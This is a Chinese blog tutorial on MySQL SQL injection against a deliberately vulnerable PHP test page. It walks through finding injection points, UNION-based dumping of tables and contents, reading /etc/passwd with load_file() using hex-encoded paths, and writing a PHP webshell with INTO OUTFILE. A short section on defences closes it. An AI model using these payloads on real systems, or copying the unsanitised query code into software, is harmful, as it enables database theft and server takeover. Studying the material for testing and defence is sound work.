1、簡介
1.1、含義
在一個應用中,數據的安全無疑是最重要的。數據的最終歸宿都是數據庫,因此如何保證數據庫不被惡意攻擊者入侵是一項重要且嚴肅的問題!
SQL注入作為一種很流行的攻擊手段,一直以來都受到網絡安全研究者和黑客們的廣泛關注。那什么是SQL注入呢?SQL注入是這樣一種攻擊技術:攻擊者通過把惡意SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串中,來達到欺騙服務器執行惡意的SQL命令的一種攻擊方式。
想要更好的防御SQL注入,當然要了解攻擊者是如何攻擊的啦,自己知彼,百勝不殆!
1.2、注入原理
SQL注入的本質是惡意攻擊者將SQL代碼插入或添加到程序的參數中,而程序並沒有對傳入的參數進行正確處理,導致參數中的數據會被當做代碼來執行,並最終將執行結果返回給攻擊者
1.3、危害
利用SQL注入漏洞,攻擊者可以操縱數據庫的數據(如得到數據庫中的機密數據、隨意更改數據庫中的數據、刪除數據庫等等),在得到一定權限后還可以掛馬,甚至得到整台服務器的管理員權限。由於SQL注入是通過網站正常端口(通常為80端口)來提交惡意SQL語句,表面上看起來和正常訪問網站沒有區別,如果不仔細查看WEB日志很難發現此類攻擊,隱蔽性非常高。一旦程序出現SQL注入漏洞,危害相當大,所以我們對此應該給予足夠的重視。
2、注入知識與例子解析
2.1、注入的常用知識
常用函數:
1 system_user() #系統用戶名 2 user() #返回MYSQL用戶名 3 current_user() #當前用戶名 4 session_user() #連接數據庫的用戶名 5 database() #返回當前數據庫名 6 version() #返回當前數據庫版本信息 7 load_file() #返回文件的內容【攻擊時用於讀取本例文件,攻擊力大大的】 8 into outfile '物理路徑' #將結果輸出【攻擊在利用將惡意腳本注入系統中】
#有用的系統庫:
INFORMATION_SCHEMA
mysql大於5.0的版本默認安裝后都有INFORMATION_SCHEMA數據 庫,INFORMATION_SCHEMA提供了訪問數據庫元數據的方式,是MYSQL的信息數據庫,其中保存着關於MySQL服務器所維護的所有其他數 據庫的信息,通過這個數據庫可以查看服務器上創建了那些數據庫,數據庫有哪些表,表中有哪些字段,對注入很有用途。【利用它可以進行爆表、爆字段、爆內容】
序號 | 表名 | 關鍵字段 |
1 | SCHEMATA | SCHEMATA_NAME(表示數據庫名稱) |
2 | TABLES | TABLES_TABLE_SCHEMA(表示表所屬的數據庫名稱)、TABLE_NAME(表示表的名稱) |
3 |
COLUMNS | TABLE_SCHEMA(表示表所屬的數據庫名稱)、TABLE_NAME(表示所屬的表的名稱)、 COLUMN_NAME(表示字段名) |
注入形式:
1、union select 1,SCHEMATA_NAME,3 from information_schema.SCHEMATA limit 2,1
2、union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLES_TABLE_SCHEMA='database_name' limit 2,1
3、union select 1,COLUMN_NAME,3 from information_schema.COLUMNS where TABLE_NAME='table_name' limit 2,1
注:這僅僅只是寫法形式,在沒有任何防御措施的情況下可注入。當有轉義單引號的過濾,那么上面的語句肯定不成功的,必須做出相應的修改方可成功。
注入小技巧:
1、當我們注入的時候,如果空格被過濾機制處理掉了,那么我們可以使用注釋來生成空格。例如:select/**/1,2,3
2、使用union進行查詢時,需要對應數據類型【謹記謹記】;例如union前面的第一列是int,后面就不要對應string了
2.2、注入流程
1.判斷Web系統使用的腳本語言,發現注入點,並確定是否存在SQL注入漏洞
2.判斷Web系統的數據庫類型
3.判斷數據庫中表及相應字段的結構
4.構造注入語句,得到表中數據內容
5.查找網站管理員后台,用得到的管理員賬號和密碼登錄
6.結合其他漏洞,想辦法上傳一個Webshell
7.進一步提權,得到服務器的系統權限
(注:以上為一般流程,根據實際情況,情況可能會有所不同。)
2.3、實例解析
a、構造注入環境
建立兩張表
CREATE DATABASE test88;
USE test88;
CREATE TABLE `admin` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) DEFAULT NULL, `password` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`) ) ; CREATE TABLE `goods` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) DEFAULT NULL, `brand` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`) );
test2.php文件
1 header('content-type:text/html;charset=utf8'); 2 $link=mysql_connect('127.0.0.1','root','321'); 3 mysql_set_charset('utf8'); 4 mysql_select_db('test88'); 5 $id=$_GET['id']; 6 $sql="select*from admin where id=".$id; 7 echo "<pre>"; 8 print_r($sql); #查看SQL語句 9 echo "</pre>"; 10 $result=mysql_query($sql); 11 while($rec=mysql_fetch_assoc($result)) 12 { 13 echo "<pre>"; 14 print_r($rec); #查詢結果 15 echo "</pre>"; 16 }
b、查找注入點
【針對的SQL語句:$sql="select*from admin where id=".$id; #(代碼中的);無任何過濾,直接注入】
正常訪問:www.linuxtest.com/test2.php?id=1
查找注入點:
1、非正常訪問www.linuxtest/test2.php?id=1',結果返回非正常頁面,說明可能有注入節點存在,繼續下面的驗證
2、繼續非正常訪問www.linuxtest/test2.php?id=1 and 1=1,結果返回正常頁面
3、繼續非正常訪問www.linuxtest/test2.php?id=1 and 1=2,結果返回非正常頁面,有注入節點,可以直接在id=1后面增加攻擊SQL語句
(當然我們測試的SQL語句的數據是沒經過任何處理,最簡單最容易被攻擊的,所以就so easy【僅僅只是做個示例】)
【其他SQL1語句:$sql="select*from admin where id=$id";】
與上面相同
【其他SQL2語句:$sql="select*from admin where id=‘{$id}’";】
此時存在注入點,但是我們必須消除單引號才能進行相應的攻擊SQL的插入,方法有:
- 增加(and ‘=)進行消除;例如:test2.php?id=1' union select 1,2,3 and '=;結果SQL為:select*from admin where id='1' union select 1,2,3 and '='
- 增加(and “=’)、(union select 1,2,'3)等等。同理
- 使用注釋(--)進行消除【注:有一個缺點,就是在復雜的SQ語句中會有很大的出錯幾率;上面則不存在】;例如:test2.php?id=1' union select 1,2,3 -- 注釋;結果SQL為:select*from admin where id='1' union select 1,2,3 -- 注釋'
- 。。。。。方法無窮無盡,自己研究
c、判斷數據庫類型
訪問:http://www.linuxtest.com/test2.php?id=1 and ord(mid(version(),1,1))>51
返回正常頁面說明這個數據庫版本大於4.0,可以使用uinon查詢。反之就是4.0以下版本或者是其他類型數據庫
d、破此表字段數目(為使用union做鋪墊)
方法一:猜猜法!(2233)例如:訪問www.linuxtest.com/test2.php?id=1 union select 1,2[,3,.....,n];直到不產生錯誤則n就是此表的列數
方法二:使用order by 排序,並運用二分法,猜猜猜!例如:訪問www.linuxtest.com/test2.php?id=1 order by [1|2|3|....|n];按照第[1|2|3|...|n]列排序;只要結果顯示正常的就表示此表列數大於等於這個數(咱可以采用二分法進行猜嘛!)
人品大爆炸,一猜就被我猜中了!(223333)
e、查看具體版本號
使用version()、和database()函數查看具體數據庫版本號以及此時使用的數據庫
訪問:www.linuxtest.com/test2.php?id=1 union select 1,version(),database()
結果顯示:1、MySQL數據庫版本為5.5,大於5.0,存在INFORMATION_SCHEMA數據庫;2、此時使用的數據庫為test88
f、爆表
【此時我們假設goods表是后台管理人員的賬號密碼表】
爆第一個表名:
訪問www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 0,1
爆第二個表名:
訪問www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 1,1
【以此類推知道找到想要的表】
結果顯示,我們找到管理員賬號密碼表啦
g、爆字段
同理
訪問:www.linuxtest.com/test2.php?id=100 union select 1,column_name,3 from information_schema.columns where table_name='goods' limit 0,1
以此類推,將想要的字段全部找出來。(字段有,name、brand)
h、爆內容
訪問:www.linuxtest.com/test2.php?id=100 union select 1,name,brand from goods limit 0,1
【以此類推,獲取想要的內容】
2.4、使用load_file()和outfile進行入侵
a、知識鋪墊
我們都知道在MySQL中,函數中的參數如果是字符串那必須采用單引號或者雙引號括主、where中的字符串類型匹配也是如此。
但是我們可以使用字符的十六進制(0x**)或者ASCII碼(char(**))來表示。【此時不再需要引號】
例子:
因此,當我們使用函數進行注入的時候單引號被過濾處理了,那么將會出現錯誤!
此時我們可以使用字符串的十六進制或者ASCII碼的十進制進行注入!
b、Load_file()函數
Load_file 是MySQL讀取本地文件所用到的函數,顧名思義,就是加載文件,我們這里就是將文件內容顯示出來。當我可以將系統中的文件隨意的讀寫出來,那么這個攻擊給Web應用所造成的損失那將是無法估量的!
首先我們來判斷該mysql是否擁有讀寫權限;在注入點加上這句SQL進行檢測,返回正常頁面則表示擁有讀寫權限!【and (select count(*) from mysql.user)>0】
在確認擁有讀寫權限后,接着我們可以進行load_file()注入啦!
可以用這個函數去讀取系統的敏感文件,去尋找配置文件,尋找數據 庫連接文件,尋找社工文件,尋找WEB物理路徑等等
測試:獲取linux中/etc/passwd文件內容
方式一(明文字符串):訪問www.linuxtest.com/test2.php?id=1 union select 1,load_file('/etc/passwd' ),3
【注:此時需要單引號沒有被過濾】
方式二(ASCII碼十進進):訪問www.linuxtest.com/test2.php?id=1 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)) ,3
【注:(/etc/passwd)字符串的ASCII碼是47,101,116,99,47,112,97,115,115,119,100】
方式三(字符串十六進制):訪問www.linuxtest.com/test2.php?id=1 union select 1,2,load_file(0x2f6574632f706173737764)
【注:(/etc/passwd)字符串的十六進制為0x2f6574632f706173737764】
問題解決:
通過load_file 可以列目錄,讀文件,但是遇到文件格式編碼的時候也許會遇到亂碼的問題。這個問題可以這么解決, 使用使用MySQL中的 subString 函數, subString(字符串,開始,返回)。
例如:Substring(load_file(A),50,100)就是把A的內容的第50個字母開始回顯100個給你。
訪問www.linuxtest.com/test2.php?id=1 union select 1,2,Substring(load_file(0x2f6574632f706173737764),50,100)
c、outfile入侵
mysql中outfile的作用就是將查詢的結果輸出到文件中
例如:select ‘hello word’ into outfile ‘/a.txt’ 這里是講 ‘hello word’ 輸出到 /a.txt(linux系統中)
前提條件:
1、獲得物理路徑(into outfile '物理路徑') 這樣才能寫對目錄
2、能夠使用union (也就是說需要MYSQL3以上的版本)
3、對方沒有對 ' 進行過濾(因為outfile 后面的 ' ' 不可以用其他函數代替轉換)
4、就是MYSQL用戶擁有file_priv權限(不然就不能寫文件 或者把文件內容讀出)
5、對web目錄有寫權限MS的系統一般都有權限,但是LINUX通常都是rwxr-xr-x 也就是說組跟其他用戶都沒有權限寫操作
對應條件解決:
1、我們一般可以靠數據庫出錯信息來爆出來,不行的話,也可以通過load_file()來得到
2、上面的實例解析步驟c有介紹檢測方法
3、也不多見對 '''過濾的
4、2.4b中有介紹檢查方法(這個得看運行mysql的用戶有多大權限了)
5、一般多試試上傳目錄,圖片目錄,還是大部分都有讀寫權限的
測試:將數據輸出到'/use/local/mysql/data'中【因為我給運行mysql的用戶權限相對較低,要是測試更明顯方便那就采用root運行MySQL吧!】
訪問www..linuxtest.com/test2.php?id=1 union select 1,2,3 into outfile '/usr/local/mysql/data/aaa.txt'
將123寫入系統/usr/local/mysql/data/aaa.txt中【123可以修改為你想要的攻擊代碼】
綜合下面圖片,我們得知內人注入成功!
但為什么會出錯呢?
【注】:
問:當網站不給你上傳,或者網站過濾上傳的內容,那怎么辦呢?
答:使用字符串十六進制碼或者ASCII碼來代替
使用形式:
1、union select 1,load_file( /www/home/html/upload/qingyafengping.jpg【你已經上傳的文件】),3,4,5,6 into outfile '/www/home/html/coder.php'/
2、 union select 1,char(【字符串的十六進制碼或者ASCII十進制碼】),3,4,5,6 into outfile '/www/home/html/coder.php'
3、。。。。等等
3、防御方法
通過前面的講解我們得知,要想成功利用SQL注入漏洞,需要同時滿足兩個條件,一是攻擊者可以控制用戶的輸入,二是注入的代碼要被成功執行。下面的內容主要圍繞這兩個方面來展開。
【從源頭進行防御的思想】即需要對從其他地方傳遞過來的參數在進入數據庫之前進行正確的處理。主要有以下幾個方面
1、在表單中通過js綁定數據類型、或者過濾一些非法字符
2、連接數據庫時,使用預編譯語句,綁定變量【PHP中使用mysqli、PDO進行連接使用數據庫】
3、在數據進入后台邏輯時,先對傳入的參數進行驗證,確保符合應用中定義的標准。主要有白名單和黑名單兩種方法來實現。從理論上來講,白名單的安全性要比黑名單高,因為它只允許在白名單中定義的數據通過,其他數據都會被過濾掉。黑名單只會過濾定義在黑名單中的數據(比如SQL注入中的一些危險字符),通常使用正則表達式來實現。但需要注意的是,由於黑名單不可能包含所有的危險字符,所以可能會出現黑名單被繞過的情況。例如在mysql注入中,當在黑名單中過濾了空格字符,我們可以使用"/*(mysql中注釋符)"和"+"來代替空格,繞過黑名單的限制繼續注入,因此我們應該盡量多使用白名單。
4、總結
這篇文章整理了好久了,畢竟菜鳥級別還需要慢慢測試校驗,才能得出相應的結論。其實關於MySQL的內容還有很多,例如寬字節注入、數據過濾以及如何繞過數據過濾、詳細的防御方法及步驟等等,但是這里已經寫得太長了,所以MySQL注入的防御就簡單寫了個大概的方法,具體的沒有測試校驗貼出來,改天再來寫一篇MySQL注入防御的文章(內容、步驟當然是要詳細的啦)
寫這篇文章收獲還是蠻多的,這不是第一次接觸MySQL注入的問題,但是每當重新接觸並學習總結之前的內容就會有新的收獲與體會,對知識的理解將會更加的深刻!
5、參考文獻
1. 《mysql注入精華》
2.《一份很詳細的mysql注入》
(以上是自己的一些見解,若有不足或者錯誤的地方請各位指出)
作者:那一葉隨風 http://www.cnblogs.com/phpstudy2015-6/
原文地址:http://www.cnblogs.com/phpstudy2015-6/p/6790490.html
聲明:本博客文章為原創,只代表本人在工作學習中某一時間內總結的觀點或結論。轉載時請在文章頁面明顯位置給出原文鏈接